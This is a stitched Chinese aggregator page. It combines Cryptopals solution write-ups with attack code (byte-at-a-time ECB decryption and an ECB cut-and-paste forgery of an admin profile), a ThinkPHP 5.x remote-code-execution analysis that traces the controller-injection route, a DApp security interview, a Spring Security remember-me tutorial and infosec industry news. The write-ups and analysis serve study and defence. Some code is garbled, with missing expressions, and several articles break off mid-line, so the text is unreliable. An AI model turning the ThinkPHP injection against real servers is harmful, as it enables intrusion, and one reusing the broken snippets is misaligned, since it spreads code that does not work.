unknownString = base64.b64decode("Um9sbGluJyBpbiBteSA1LjAKV2l0aCBteSByYWctdG9wIGRvd24gc28gbXkgaGFpciBjYW4gYmxvdwpUaGUgZ2lybGllcyBvbiBzdGFuZGJ5IHdhdmluZyBqdXN0IHRvIHNheSBoaQpEaWQgeW91IHN0b3A/IE5vLCBJIGp1c3QgZHJvdmUgYnkK") key = bytelist_to_str(generate_randomdata(16)) def encrypt(string): plaintext = bytelist_to_str(string) + unknownString ciphertext = aes_ecb_encrypt(key, PKCS7padding(plaintext)) return str_to_bytelist(ciphertext) def detect_blocksize(): ulen = len(encrypt([])) p1 = p2 = '' l1 = l2 = ulen while l1 == l2: p1 += 'A' l2 = len(encrypt(str_to_bytelist(p1))) l1 = l2 while l1 == l2: p2 += 'A' l2 = len(encrypt(str_to_bytelist(p1 + p2))) #返回:unknown-string长度,填充长度,加密块大小 return (ulen - (len(p1) - 1), len(p1) - 1, len(p2)) def generate_ciphertexts(buffer):#生成不同字符加密后的字典 buffers = {} for b in range(256): buffers = encrypt(buffer + ) return buffers.items() def guess_bytes(ulen, blocksize): buffer = [0x41] * (blocksize-1) count = 0 recoveredBytes = [] for i in range(ulen): if len(recoveredBytes) > 0 and len(recoveredBytes) % blocksize == 0: count += 1 buffer.extend([0x41] * blocksize) ciphertexts = generate_ciphertexts(buffer[len(recoveredBytes):] + recoveredBytes) ciphertext = [c for c in chunks(encrypt(buffer[len(recoveredBytes):]), blocksize)][count] for b, cipher in ciphertexts: if [c for c in chunks(cipher, blocksize)][count] == ciphertext: recoveredBytes.append(b) return recoveredBytes l, _, blocksize=detect_blocksize() unknown_str = bytelist_to_str(guess_bytes(l, blocksize)) print removePKCS7padding(unknown_str)

输出结果:


The Cryptopals Crypto Challenges 解题报告(2)
Challenge 13: ECB cut-and-paste

题目要求:

有一个配置函数profile_for,类似于结构化cookie,格式如下

函数profile_for: profile_for("foo@bar.com")产生以下 { email: 'foo@bar.com', uid: 10, role: 'user' } 编码为 email=foo@bar.com&uid=10&role=user

profile_for函数中不允许&和=出现,这样也就不允许普通用户设置邮箱地址为”…(email)&role=admin”。

有两个函数用于加解密:

A. 产生一个随机AES密钥,加密编码后的用户配置文件;

B. 解密用户配置文件,并对其进行语法分析。

现在attacker获得了加密后的文件,使用profile_for()和密文本身,生成一个解密后role=admin的配置文件。

实现方法:

profile_for:通过字符串的replace方法来破化恶意信息。

parse_string:首先将使用split(‘;’)对字符串进行分割,对分割后的每一块进行分析。以’=‘为基准,前面部分为关键字,后面部分为值,添加到account字典中。

attack()攻击方法:

已知输入字符串前面需要添加”email=“,长度为6,因此输入10个’A’,以使得后面有用的信息在第二个块中,并从块的起始位置开始。所以,可以输入”AAAAAAAAAAadmin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b”,”\x0b”可以当作填充部分。 对其填充加密,取第二个密文块,即为”admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b”的密文adminBlock。 输入字符串” admin1@me.com “为管理员邮箱,经过profile_for函数配置,长度为32,再进行填充加密,密文长度应为48,填充为’\x0b’。 取加密后的字符串的前32位,与adminBlock连接,即为”email=admin1@me.com&uid=10&role=admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b”的密文。 进行解密,就可以得到role=admin。 key = bytelist_to_str(generate_randomdata(16)) def profile_for(string): string.replace('&','_') string.replace('=','_') return 'email=' + string + '&uid=10&role=user' def parse_string(string): account = {} parts = string.split('&') for kv in parts: k,v = kv.split('=') account[k] = v return account def attack(): admintext = profile_for('A'*10 + 'admin' + '\x0b'*0xb) adminCiphertext = aes_ecb_encrypt(key, PKCS7padding(admintext)) adminBlock = adminCiphertext[16:32] #明文为‘email=AAAAAAAAAAadmin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b’ #在第二个块中包括admin加密后的结果 plaintext = profile_for("admin1@me.com")#长度为36 ciphertext = aes_ecb_encrypt(key, PKCS7padding(plaintext)) adminCipher = cipher[:-16] + adminBlock #为“email=admin1@me.com&uid=10&role=admin\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b”加密后的密文,填充刚好为\x0b adminplain = aes_ecb_decrypt(key, admincipher)#role=admin print plaintext print adminplain attack()

输出结果:


The Cryptopals Crypto Challenges 解题报告(2)
Challenge 14: Byte-at-a-time ECB decryption (Harder)

题目要求:在Challenge 12的基础上,还需要在明文前添加一段随机长度的随机字符串,则加密函数变为:

AES-128-ECB(random-prefix || attacker-controlled || target-bytes, random-key)

已知加密函数接口encrypt(string),解密target-bytes。

实现方法:

与Challenge 12基本相同,要考虑random-prefix。

求target-bytes的长度和加密块的大小。

(1)通过不断对”A”、”AA”、”AAA”……加密,通过密文块的长度以及填充规则,可以得到random-prefix+target-bytes的总长度以及加密块的大小。

(2)加密两个块大小的’A’列表,然后不断的添加’A’,当出现两个相同的块的时候,可以得到单独random-prefix的填充长度。

(3)加密三个块大小的’A’,找到其中两个相同块起始位置的offset,则第一个相同块前面部分为random-prefix及其填充,从而可以得到random-prefix的长度;从总长度中减掉random-prefix长度,即为target-bytes的长度。

猜测得到random-prefix

(3)将your-string设置为”A” * random-prefix填充长度 + “AAAAAAA”,进行加密,提取第一个密文块,为”AAAAAAAB1”的加密结果,B1为unknown-string的第一个字符;然后尝试对”AAAAAAAX”加密,X为任意字符,同样提取第一个密文块,与刚才密文块对比,找到与其相同的密文块,即可以找到target-bytes的第一个字符。

(4)以此类推,即可求得target-bytes。

unknownString = base64.b64decode("Um9sbGluJyBpbiBteSA1LjAKV2l0aCBteSByYWctdG9wIGRvd24gc28gbXkgaGFpciBjYW4gYmxvdwpUaGUgZ2lybGllcyBvbiBzdGFuZGJ5IHdhdmluZyBqdXN0IHRvIHNheSBoaQpEaWQgeW91IHN0b3A/IE5vLCBJIGp1c3QgZHJvdmUgYnkK") key = bytelist_to_str(generate_randomdata(16)) randomPrefix = bytelist_to_str(generate_randomdata(random.randint(2, 32))) def encrypt(string): plaintext = randomPrefix + bytelist_to_str(string) + unknownString ciphertext = aes_ecb_encrypt(key, PKCS7padding(plaintext)) return str_to_bytelist(ciphertext) def detect_blocksize(): ruplen = len(encrypt([])) p1 = p2 = '' l1 = l2 = ruplen while l1 == l2: p1 += 'A' l2 = len(encrypt(str_to_bytelist(p1))) l1 = l2 while l1 == l2: p2 += 'A' l2 = len(encrypt(str_to_bytelist(p1 + p2))) paddinglen = len(p1) - 1 #对于random-prefix+target-bytes的填充长度 blocksize = len(p2) rulen = ruplen - paddinglen #random-prefix+target-bytes的长度 #先加密两个块大小的buf,然后其中不断添加元素,直至在密文中可以得到两个相同的块,则对于单独random-prefix字符串的填充长度为len(buf)-blocksize*2 buf = [0x41] * blocksize * 2 flag = False while not flag and len(buf) < blocksize * 3: ciphertext = encrypt(buf) ctBlock = [c for c in chunks(ciphertext, blocksize)] for i in range(len(ctBlock) - 1): if ctBlock[i] == ctBlock[i + 1]: flag = True if not flag: buf += [0x41] rpadlen = len(buf) - blocksize * 2 #只有random-prefix的填充长度 #加密三个块大小的buf,求出两个相同块的位置offset,则前面为random-prefix及填充 offset = 0 buf = [0x41]*blocksize*3 ciphertext = encrypt(buf) cBlock = [c for c in chunks(ciphertext, blocksize)] for i in range(len(cBlock) - 1): if cBlock[i] == cBlock[i + 1]: offset = i break randomprefixlen = offset * blocksize - rpadlen #random-prefix长度 #返回:random-prefix长度,target-bytes长度,加密块大小 return (randomprefixlen, ruplen - paddinglen - randomprefixlen, blocksize) def generate_ciphertexts(buffer): buffers = {} for b in range(256): buffers = encrypt(buffer + ) return buffers.items() def guess_bytes(randomprefixlen, ulen, blocksize): buffer = [0x41] * (blocksize - randomprefixlen % blocksize + blocksize - 1) count = randomprefixlen / blocksize + 1 recoveredBytes = [] for i in range(ulen): if len(recoveredBytes) > 0 and len(recoveredBytes) % blocksize == 0: count += 1 buffer.extend([0x41] * blocksize) ciphertexts = generate_ciphertexts(buffer[len(recoveredBytes):] + recoveredBytes) ciphertext = [c for c in chunks(encrypt(buffer[len(recoveredBytes):]), blocksize)][count] for b, cipher in ciphertexts: if [c for c in chunks(cipher, blocksize)][count] == ciphertext: recoveredBytes.append(b) return recoveredBytes rlen, ulen, blocksize = detect_blocksize() unknown_str = bytelist_to_str(guess_bytes(rlen, ulen, blocksize)) print removePKCS7padding(unknown_str)

输出结果:


The Cryptopals Crypto Challenges 解题报告(2)
Challenge 15: PKCS#7 padding validation

题目要求:检查一段文本,是否为有效的PKCS#7填充,如果是,则去掉填充。

示例:

string1=“ICE ICE BABY\x04\x04\x04\x04” 为有效填充,结果为”ICE ICE BABY”。

string2=“ICE ICE BABY\x05\x05\x05\x05” 不是有效填充。

string3=“ICE ICE BABY\x01\x02\x03\x04” 不是有效填充。

实现方法:

提取字符串最后一位c,转化为10进制数,即为填充长度paddingCount。 比较字符串的倒数paddingCount的位置上的字符是否等于c,如果相等,则为有效填充。 def checkPKCS7padding(string): l = len(string) c = string[l-1] paddingCount = ord(c) for i in range(paddin

黑客肆虐,资产被盗,区块链App如何谈安全?

$
0
0

在英剧《神秘博士》中,主人公的时间机器Tardis是一个电话亭。虽然从外面看着很小,但里面的空间巨大无比。

如果Tardis放在互联网世界中,它便是手机中一个小小的APP Store。

据工信部发布的数据,截至今年5月底,我国一共有415万款移动应用。


黑客肆虐,资产被盗,区块链App如何谈安全?

图片来源于网络

聊天、煲剧、点外卖、订票……现在的年轻人已越发离不开一个个APP。相似的场景,在不久后,也将发生在区块链上。

在区块链上的APP,被称作DApp,即去中心化的APP。DApp基于智能合约,双方将约定的内容写进程序中,从而无法被篡改。


黑客肆虐,资产被盗,区块链App如何谈安全?

DApp其实也是智能合约+App。

目前,基于公链开发的DApp数量保持高速增长。根据DApp.com数据显示,今年前三季,以太坊上已有超过 900 个DApp,而在去年第二季度末,DApp的数量只有7个。

此外,如今市场上60%的DApp都是游戏,在今年第三季度EOS上推出的60中新DApp中,超过一半是投注、博彩类应用。

在高速增长背后,DApp的安全问题不容忽视。一个小小的漏洞,会造成巨大损失。


黑客肆虐,资产被盗,区块链App如何谈安全?

图片来源于网络

今年10月底,基于EOS主网开发的DApp EOS Cast游戏遭遇黑客攻击,团队账户共损失了超过7万枚EOS。据EOS当前价格估算,本次攻击中,EOS Cast平台损失超255万元人民币。

由于区块链上的数字资产采用的是匿名交易的原则,数字资产丢失后,几乎无法找回。一旦发生黑客攻击事件,运营团队和用户只能自认倒霉。

据PeckShield的最新数据,截至2018年12月12日,共发生35起DApp安全事件,共损失超过41万个EOS,市值近1000万元人民币。


黑客肆虐,资产被盗,区块链App如何谈安全?

据锌财经了解,目前DApp的安全问题主要在以下三个方面:

一是游戏的逻辑设计问题,本身出现Bug;二是DApp遭遇黑客攻击,资产被盗走;三是菠菜(博彩)类游戏随机算法被攻破。

DApp被黑客攻击事件频发,安全问题就成为DApp发展过程中绕不过的坎。

如何解决这些难题?如何在设计DApp时就防范有可能产生的安全问题?当DApp大规模爆发时,又会给公链带来怎样的压力和挑战?

12月20日,锌财经举办了本月第三场区块链主题分享活动,锌财经创始人潘越飞邀请了PeckShield EOS安全负责人施华国对上述问题做出解答。

施华国原是网秦安全响应负责人、360高级安全研究员、阿里巴巴高级安全专家,有10年移动互联网安全经验,主要专注于软件攻防和数据安全方向。

为什么说DApp 已到大爆发时期?

施华国

目前三大主流DApp公链有 ETH、EOS和TRON。先看以下三个公链的特点比较。


黑客肆虐,资产被盗,区块链App如何谈安全?

ETH、EOS和TRON的特点比较

左边的 ETH 属于 DApp 的第一代公链,从2015年7月30日上线,虽然已运行三年多,但由于高额GAS费用和每秒不到10个的交易速度,极大制约了它的发展。目前ETH上的DApp总数只有1705个,由于性能限制,在ETH上很难有高频操作的游戏。现在用户活跃较高的DApp主要是去中心化交易所和低频交易的游戏。

而随着EOS在2018年6月9日上线,经过了3个多月的稳定过度期,在10月初EOS开始出现大规模爆发,现在EOS上DApp 数量已经达到238个。

下面这张图是三网的DApp日活跃度数据对比。


黑客肆虐,资产被盗,区块链App如何谈安全?

数据截止到2018年12月13日

从图中可以看到,EOS在10月初出现DAU(日活跃用户数量)大幅上涨,最高时是ETH的6、7倍。但EOS的DAU数据波动比较大,这和安全事件、群控刷量行为等诸多因素有关。

在看浅蓝色的TRON的DAU数据,数据量虽然最高只有5000,但毕竟它上线比EOS更晚,体量又小,从长远看,我认为TRON的未来会有较大的发展空间。

下面这张图是三网DApp交易额数据对比,数据分析也是截止到2018年12月13日。


黑客肆虐,资产被盗,区块链App如何谈安全?

可以看到黄颜色的EOS交易额数据要比ETH和TRON高的多。

总的来说,区块链DApp爆发,可以看作EOS是公链上的DApp爆发。

如何看目前大家戏称EOS沦为博彩公链?

施华国

EOS目前的现状确实是竞猜类游戏为主,总数在DApp中占据了一半以上,并且交易额排名前几的都是竞猜类游戏。这个是不得不承认的事实。

但是同时我们也可以看到,仍然会有些优秀的DApp保持稳定、健康增长。比如去中心化交易所Newdex,现在交易额已经排名在第六。而另一款卡牌类游戏EOS Knights,在去除假量的真实DAU排名中,一直稳定在前五的位置,也拥有忠实玩家。

近期又有些开发者从ETH上的DApp和传统游戏领域开始转型加入EOS DApp开发的队伍中。

从行业度看,哪条链能获得最大规模的开发者?哪种类型的DApp最有机会跑出来?

施华国

DApp用户群体最大、热度最高的还是EOS,开发者肯定是要集中最优的资源在大平台上做更大投入了。除了EOS,TRON发展的势头也很迅猛,通过我们的数据分析,发现两个公链的DApp用户活跃度确实会有部分相互影响,未来TRON或许会成为EOS的一个不可忽视的竞争对手。

至于哪类DApp会成为新的Killer DApp,这个不好说。好多DApp上线时都号称自己是Killer DApp,宣传搞得火热但没多久就凉了。不过目前看,游戏至少是一个好的开端。

如何看带生态安全对于DApp发展的威胁?开发者将如何应对?

施华国

截至2018年12月12日,共发生35起DApp安全事件,共损失超过41万个EOS,市值近1000万元人民币。

我们发现从EOS生态早期到现在,黑客攻击原理其实是在不断演变的,从最早的溢出攻击到合约RAM吞噬问题,再到重放攻击、假EOS、假通知攻击,以及近一两个月比较活跃的随机数和交易回滚攻击等。黑客的攻击手段越来越复杂,也越来越成体系,攻击者还会定期用已知攻击扫描漏洞尝试攻击新上线的游戏,这给EOS本来就薄弱的早期发展生态带来了更大的挑战。

开发者一定要对安全有足够的防范意识,首先开发阶段需要参考安全编码规范进行编写代码,以降低被已知漏洞攻击的风险;其次需要找专业的安全团队对合约代码进行安全审计;最后一点也是最重要的,你永远无法预知未来是否会遭到黑客攻击。所以开发者一定要有一套完整的应急响应风控系统,确保当真正遭受攻击时,会及时预警并做熔断处理。


黑客肆虐,资产被盗,区块链App如何谈安全?

最新区块链信息,扫码关注我们吧~

【链虎财经版权及免责声明】本文为原创文章,作者:chainhoo。仅代表作者本人观点,与链虎财经立场无关。本站所有内容不构成投资建议,币市有风险、投资请慎重。如需转载文章,请注明来源https://www.chainhoo.com/blockchain/60067/及作者姓名,违者必究。


Spring Security系列之记住我(十二)

$
0
0

Spring Security系列之记住我(十二)
有这样一个场景――有个用户初访并登录了你的网站,然而第二天他又来了,却必须再次登录。于是就有了“记住我”这样的功能来方便用户使用,然而有一件不言自明的事情,那就是这种认证状态的”旷日持久“早已超出了用户原本所需要的使用范围。这意味着,他们可以关闭浏览器,然后再关闭电脑,下周或者下个月,乃至更久以后再回来,只要这间隔时间不要太离谱,该网站总会知道谁是谁,并一如既往的为他们提供所有相同的功能和服务――与许久前他们离开的时候别无二致。 记住我基本原理
Spring Security系列之记住我(十二)
用户认证成功之后调用 RemeberMeService 根据用户名名生成 Token 由 TokenRepository 写入到数据库,同时也将 Token 写入到浏览器的 Cookie 中 重启服务之后,用户再次登入系统会由 RememberMeAuthenticationFilter 拦截,从 Cookie 中读取 Token 信息,与 persistent_logins 表匹配判断是否使用记住我功能。最中由 UserDetailsService 查询用户信息 记住我实现 创建persistent_logins表 create table persistent_logins (username varchar(64) not null, series varchar(64) primary key, token varchar(64) not null, last_used timestamp not null); 复制代码 登陆页面添加记住我复选款(name必须是remeber-me) <input name="remember-me" type="checkbox"> 下次自动登录 复制代码 配置MerryyouSecurityConfig http. ...... .and() .rememberMe() .tokenRepository(persistentTokenRepository())//设置操作表的Repository .tokenValiditySeconds(securityProperties.getRememberMeSeconds())//设置记住我的时间 .userDetailsService(userDetailsService)//设置userDetailsService .and() ...... 复制代码 效果如下
Spring Security系列之记住我(十二)
源码分析 首次登录 AbstractAuthenticationProcessingFilter#successfulAuthentication protected void successfulAuthentication(HttpServletRequest request, HttpServletResponse response, FilterChain chain, Authentication authResult) throws IOException, ServletException { if (logger.isDebugEnabled()) { logger.debug("Authentication success. Updating SecurityContextHolder to contain: " + authResult); } //# 1.将已认证过的Authentication放入到SecurityContext中 SecurityContextHolder.getContext().setAuthentication(authResult); //# 2.登录成功调用rememberMeServices rememberMeServices.loginSuccess(request, response, authResult); // Fire event if (this.eventPublisher != null) { eventPublisher.publishEvent(new InteractiveAuthenticationSuccessEvent( authResult, this.getClass())); } successHandler.onAuthenticationSuccess(request, response, authResult); } 复制代码 将已认证过的Authentication放入到SecurityContext中 登录成功调用rememberMeServices AbstractRememberMeServices#loginSuccess private String parameter = DEFAULT_PARAMETER;//remember-me public final void loginSuccess(HttpServletRequest request, HttpServletResponse response, Authentication successfulAuthentication) { // #1.判断是否勾选记住我 if (!rememberMeRequested(request, parameter)) { logger.debug("Remember-me login not requested."); return; } onLoginSuccess(request, response, successfulAuthentication); } 复制代码 判断是否勾选记住我 PersistentTokenBasedRememberMeServices#onLoginSuccess protected void onLoginSuccess(HttpServletRequest request, HttpServletResponse response, Authentication successfulAuthentication) { //#1.获取用户名 String username = successfulAuthentication.getName(); logger.debug("Creating new persistent login for user " + username); //#2.创建Token PersistentRememberMeToken persistentToken = new PersistentRememberMeToken( username, generateSeriesData(), generateTokenData(), new Date()); try { //#3.存储都数据库 tokenRepository.createNewToken(persistentToken); //#4.写入到浏览器的Cookie中 addCookie(persistentToken, request, response); } catch (Exception e) { logger.error("Failed to save persistent token ", e); } } 复制代码 获取用户名 创建Token 存储都数据库 写入到浏览器的Cookie中 二次登录Remember-me RememberMeAuthenticationFilter#doFilter public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) req; HttpServletResponse response = (HttpServletResponse) res; //#1.判断SecurityContext中没有Authentication if (SecurityContextHolder.getContext().getAuthentication() == null) { //#2.从Cookie查询用户信息返回RememberMeAuthenticationToken Authentication rememberMeAuth = rememberMeServices.autoLogin(request, response); if (rememberMeAuth != null) { // Attempt authenticaton via AuthenticationManager try { //#3.如果不为空则由authenticationManager认证 rememberMeAuth = authenticationManager.authenticate(rememberMeAuth); // Store to SecurityContextHolder SecurityContextHolder.getContext().setAuthentication(rememberMeAuth); onSuccessfulAuthentication(request, response, rememberMeAuth); ...... 复制代码 判断SecurityContext中没有Authentication 从Cookie查询用户信息返回RememberMeAuthenticationToken 如果不为空则由authenticationManager认证 AbstractRememberMeServices#autoLogin public final Authentication autoLogin(HttpServletRequest request, HttpServletResponse response) { //#1.获取Cookie String rememberMeCookie = extractRememberMeCookie(request); if (rememberMeCookie == null) { return null; } logger.debug("Remember-me cookie detected"); if (rememberMeCookie.length() == 0) { logger.debug("Cookie was empty"); cancelCookie(request, response); return null; } UserDetails user = null; try { //#2.解析Cookie String[] cookieTokens = decodeCookie(rememberMeCookie); //#3.获取用户凭证 user = processAutoLoginCookie(cookieTokens, request, response); //#4.检查用户凭证 userDetailsChecker.check(user); logger.debug("Remember-me cookie accepted"); //#5.返回Authentication return createSuccessfulAuthentication(request, user); } catch (CookieTheftException cte) { cancelCookie(request, response); throw cte; } catch (UsernameNotFoundException noUser) { logger.debug("Remember-me login was valid but corresponding user not found.", noUser); } catch (InvalidCookieException invalidCookie) { logger.debug("Invalid remember-me cookie: " + invalidCookie.getMessage()); } catch (AccountStatusException statusInvalid) { logger.debug("Invalid UserDetails: " + statusInvalid.getMessage()); } catch (RememberMeAuthenticationException e) { logger.debug(e.getMessage()); } cancelCookie(request, response); return null; } 复制代码 获取Cookie 解析Cookie 获取用户凭证 检查用户凭证

Thinkphp5-x远程代码执行漏洞分析

$
0
0
漏洞介绍

Thinkphp5.x版本(5.0.20)中没有对路由中的控制器进行严格过滤,在存在admin、index模块、没有开启强制路由的条件下(默认不开启),导致可以注入恶意代码利用反射类调用命名空间其他任意内置类,完成远程代码执行。

影响版本

THINKPHP 5.0.5-5.0.22

THINKPHP 5.1.0-5.1.30

漏洞分析

这里选择对5.0.20版本进行分析,关键函数开头

/thinkphp/library/think/App.php:120

$dispatch=self::$dispatch; //未设置调度信息则进行URL路由检测 if(empty($dispatch)){ $dispatch=self::routeCheck($request,$config); } //记录当前调度信息 $request->dispatch($dispatch); //记录路由和请求信息 if(self::$debug){ Log::record('[ROUTE]'.var_export($dispatch,true),'info'); Log::record('[HEADER]'.var_export($request->header(),true),'info'); Log::record('[PARAM]'.var_export($request->param(),true),'info'); } //监听app_begin Hook::listen('app_begin',$dispatch); //请求缓存检查 $request->cache( $config['request_cache'], $config['request_cache_expire'], $config['request_cache_except'] ); $data=self::exec($dispatch,$config);

进入self::routeCheck函数,进行路由检查

/thinkphp/library/think/App.php:120

publicstaticfunctionrouteCheck($request,array$config) { $path=$request->path(); ........................ }

进入$request->path()函数

/thinkphp/library/think/Request.php:416行

publicfunctionpath() { if(is_null($this->path)){ $suffix=Config::get('url_html_suffix'); $pathinfo=$this->pathinfo(); if(false===$suffix){ //禁止伪静态访问 $this->path=$pathinfo; }elseif($suffix){ //去除正常的URL后缀 $this->path=preg_replace('/\.('.ltrim($suffix,'.').')$/i','',$pathinfo); }else{ //允许任何后缀访问 $this->path=preg_replace('/\.'.$this->ext().'$/i','',$pathinfo); } } return$this->path; }

进入$this->pathinfo()函数

/thinkphp/library/think/Request.php:384行

publicfunctionpathinfo() { if(is_null($this->pathinfo)){ if(isset($_GET[Config::get('var_pathinfo')])){ //判断URL里面是否有兼容模式参数 $_SERVER['PATH_INFO']=$_GET[Config::get('var_pathinfo')]; unset($_GET[Config::get('var_pathinfo')]); }elseif(IS_CLI){ //CLI模式下index.phpmodule/controller/action/params/... $_SERVER['PATH_INFO']=isset($_SERVER['argv'][1])?$_SERVER['argv'][1]:''; } //分析PATHINFO信息 if(!isset($_SERVER['PATH_INFO'])){ foreach(Config::get('pathinfo_fetch')as$type){ if(!empty($_SERVER[$type])){ $_SERVER['PATH_INFO']=(0===strpos($_SERVER[$type],$_SERVER['SCRIPT_NAME']))? substr($_SERVER[$type],strlen($_SERVER['SCRIPT_NAME'])):$_SERVER[$type]; break; } } } $this->pathinfo=empty($_SERVER['PATH_INFO'])?'/':ltrim($_SERVER['PATH_INFO'],'/'); } return$this->pathinfo; }

Config::get('var_pathinfo')是配置文件中的设置的参数,默认值为s,从GET中获取键值,然后赋值给routeCheck中的$path,这里也就是index/think\app/invokefunction。


Thinkphp5-x远程代码执行漏洞分析

/thinkphp/library/think/App.php:120

publicstaticfunctionrouteCheck($request,array$config) { $path=$request->path(); $depr=$config['pathinfo_depr']; $result=false; //路由检测 $check=!is_null(self::$routeCheck)?self::$routeCheck:$config['url_route_on']; if($check){ //开启路由 if(is_file(RUNTIME_PATH.'route.php')){ //读取路由缓存 $rules=includeRUNTIME_PATH.'route.php'; is_array($rules)&&Route::rules($rules); }else{ $files=$config['route_config_file']; foreach($filesas$file){ if(is_file(CONF_PATH.$file.CONF_EXT)){ //导入路由配置 $rules=includeCONF_PATH.$file.CONF_EXT; is_array($rules)&&Route::import($rules); } } } //路由检测(根据路由定义返回不同的URL调度) $result=Route::check($request,$path,$depr,$config['url_domain_deploy']); $must=!is_null(self::$routeMust)?self::$routeMust:$config['url_route_must']; if($must&&false===$result){ //路由无效 thrownewRouteNotFoundException(); } } //路由无效解析模块/控制器/操作/参数...支持控制器自动搜索 if(false===$result){ $result=Route::parseUrl($path,$depr,$config['controller_auto_search']); } return$result; }

这里会开始进行路由检测,检查$check后会进入else分支导入路由配置,然后接着检测路由表url调度结果$result,如果调度失败并且开启了强制路由$must,就抛出异常,这就是漏洞利用条件之一,接着进入了Route::parseUrl函数,根据$path(我们可控的url)进行模块/控制器解析。

进入Route::parseUrl函数

/thinkphp/library/think/Route.php:1204行

publicstaticfunctionparseUrl($url,$depr='/',$autoSearch=false) { if(isset(self::$bind['module'])){ $bind=str_replace('/',$depr,self::$bind['module']); //如果有模块/控制器绑定 $url=$bind.('.'!=substr($bind,-1)?$depr:'').ltrim($url,$depr); } $url=str_replace($depr,'|',$url); list($path,$var)=self::parseUrlPath($url); }

进入self::parseUrlPath函数

/thinkphp/library/think/Route.php

privatestaticfunctionparseUrlPath($url) { //分隔符替换确保路由定义使用统一的分隔符 $url=str_replace('|','/',$url); $url=trim($url,'/'); $var=[]; if(false!==strpos($url,'?')){ //[模块/控制器/操作?]参数1=值1&参数2=值2... $info=parse_url($url); $path=explode('/',$info['path']); parse_str($info['query'],$var); }elseif(strpos($url,'/')){ //[模块/控制器/操作] $path=explode('/',$url); }else{ $path=[$url]; } return[$path,$var]; }

对包含模块/控制器/操作的URL进行分割成数组进行返回


Thinkphp5-x远程代码执行漏洞分析
list($path,$var)=self::parseUrlPath($url); $route=[null,null,null]; if(isset($path)){ //解析模块 $module=Config::get('app_multi_module')?array_shift($path):null; if($autoSearch){ //自动搜索控制器 $dir=APP_PATH.($module?$module.DS:'').Config::get('url_controller_layer'); $suffix=App::$suffix||Config::get('controller_suffix')?ucfirst(Config::get('url_controller_layer')):''; $item=[]; $find=false; foreach($pathas$val){ $item[]=$val; $file=$dir.DS.str_replace('.',DS,$val).$suffix.EXT; $file=pathinfo($file,PATHINFO_DIRNAME).DS.Loader::parseName(pathinfo($file,PATHINFO_FILENAME),1).EXT; if(is_file($file)){ $find=true; break; }else{ $dir.=DS.Loader::parseName($val); } } if($find){ $cont

国家级商标示范平台首次出现网络安全品牌

$
0
0

近日, 中关村 ( 000931 , 诊股 )科技园区管理委员会启动的2018商标品牌示范试点单位动态调整结果公布,360集团等15家企业进入中关村商标品牌工作示范培育单位名单,这是国家级商标品牌示范平台中首次出现网络安全品牌。


国家级商标示范平台首次出现网络安全品牌

中关村商标品牌工作示范培育单位名单(部分)

据悉,每次中关村商标品牌示范试点单位评选都经企业申报、形式审查、专家评审和网上公示等环节严格筛选。入选单位不仅要符合中关村战略性 新兴产业 重点方向,还要具备一定的核心竞争力和明确的商标品牌战略规划,重视制度建设和人员培训,商标工作基础较好。

值得一提的是,360集团自2012年开始,一直作为中关村国家自主创新示范区商标品牌工作试点培育单位,2018年作为唯一的互联网安全公司跻身15家“中关村商标品牌工作示范培育单位”之列,这是互联网安全公司历史上首次成为商标示范单位。

记者获悉,截至目前,360集团已经提交国内外商标注册申请近6000件,已经获得注册近3500件,围绕公司产品和业务形成了全方位的注册保护体系。

“作为中国最大的互联网安全公司,我们的商标品牌战略以创新和保护为核心,以‘数量领先、质量取胜’为主旨,从创意、设计和管理等不同维度来为各项业务发展提供重要支持”,360集团商标与知识产权相关负责人告诉记者,360集团自成立以来就有非常强的商标品牌意识,不仅加大商标的注册管理,对于那些在品牌上搭便车的侵权行为,360也一直在予以严厉回击。

据介绍,自2015年开始,360就持续担任中华商标协会副会长单位;2016年,360的十字球商标被北京市工商局认定为“北京市著名商标”;2017年,“360+球”组合标被国家工商总局商标局认定为“中国驰名商标”;今年5月,结合当前的大安全形势,360提出安全大脑,目前“360安全大脑”也已提交商标注册申请,正在审查过程中。

360安全大脑是全球最大的智能安全防御体系,其背后也是全世界最大的安全专利技术集群,累计申请3666项中国专利和337项国际专利,合计超过4000项专利。在今年11月的乌镇互联网大会上,360安全大脑获评世界互联网领先科技成果。

显然,在国家倡导自主知识产权创新、创立自主品牌的大背景下,知识产权战略的构建和商标品牌战略的实施对于企业长远发展的重要作用不言而喻。如果说互联网是一场没有硝烟的战争,那么知识产权绝对是各方角逐的另外一个主战场。谁拥有具备核心竞争力的知识产权,谁就将占据未来竞争的制高点。

从网络安全到数据安全,DT时代信息安全行业将迎来变革

$
0
0

从网络安全到数据安全,DT时代信息安全行业将迎来变革

自从终端设备开始商用,信息安全就一直是企业关心的重要问题。随着企业业务组织模式的变化,信息安全防护产品的防护对象和防护手段也在不断更新升级,从PC时代的端上安全到IT时代的网络安全,在每个浪潮下涌现了诸多估值几十亿上百亿的公司。那么随着DT时代的到来,信息安全行业又将出现怎样的新兴形态产品,又有怎样的公司可以从中脱颖而出呢?

从信息安全防御产品的维度看,中国信息安全行业经历了三个重要发展阶段:

第一阶段(1992-1996年):PC时代-端上安全-终端杀毒

在这一时期,以PC电脑为代表的终端设备开始普及,但还属于单机状态,设备之间无法联网互通。此时,病毒主要通过光盘、软盘等外接设备侵入终端,因此以软件为主的安全产品便安装在终端内进行防护,即所谓的“端上安全”,也随着出现了一批以杀毒软件为主的信息安全公司,比如我们耳熟能详的瑞星、金山、江民、北信源等。其中北信源于2012年9月在深交所上市,当前市值为47亿元。


从网络安全到数据安全,DT时代信息安全行业将迎来变革

图:瑞星杀毒软件界面

第二阶段(1996-2014年):互联网/IT时代-网络安全-边界防护

在20世纪末,互联网开始在中国普及,越来越多的个人和企业终端设备开始联网。病毒的传播渠道开始发生变化,越来越多的攻击来源于互联网而非外接设备,企业网络安全兴起。对应的安全防护手段也从传统安装在主机上的杀毒软件转变为以隔离防护来源于外网的攻击为核心。在此基础上,大量实现边界防护的信息安全公司涌现,也带来了第一波企业信息安全浪潮。

在边界防护的基础思想下,信息安全防御产品也出现了不同形态,由于信息安全潜在市场规模极大,在各个细分赛道里也跑出了众多上市公司:

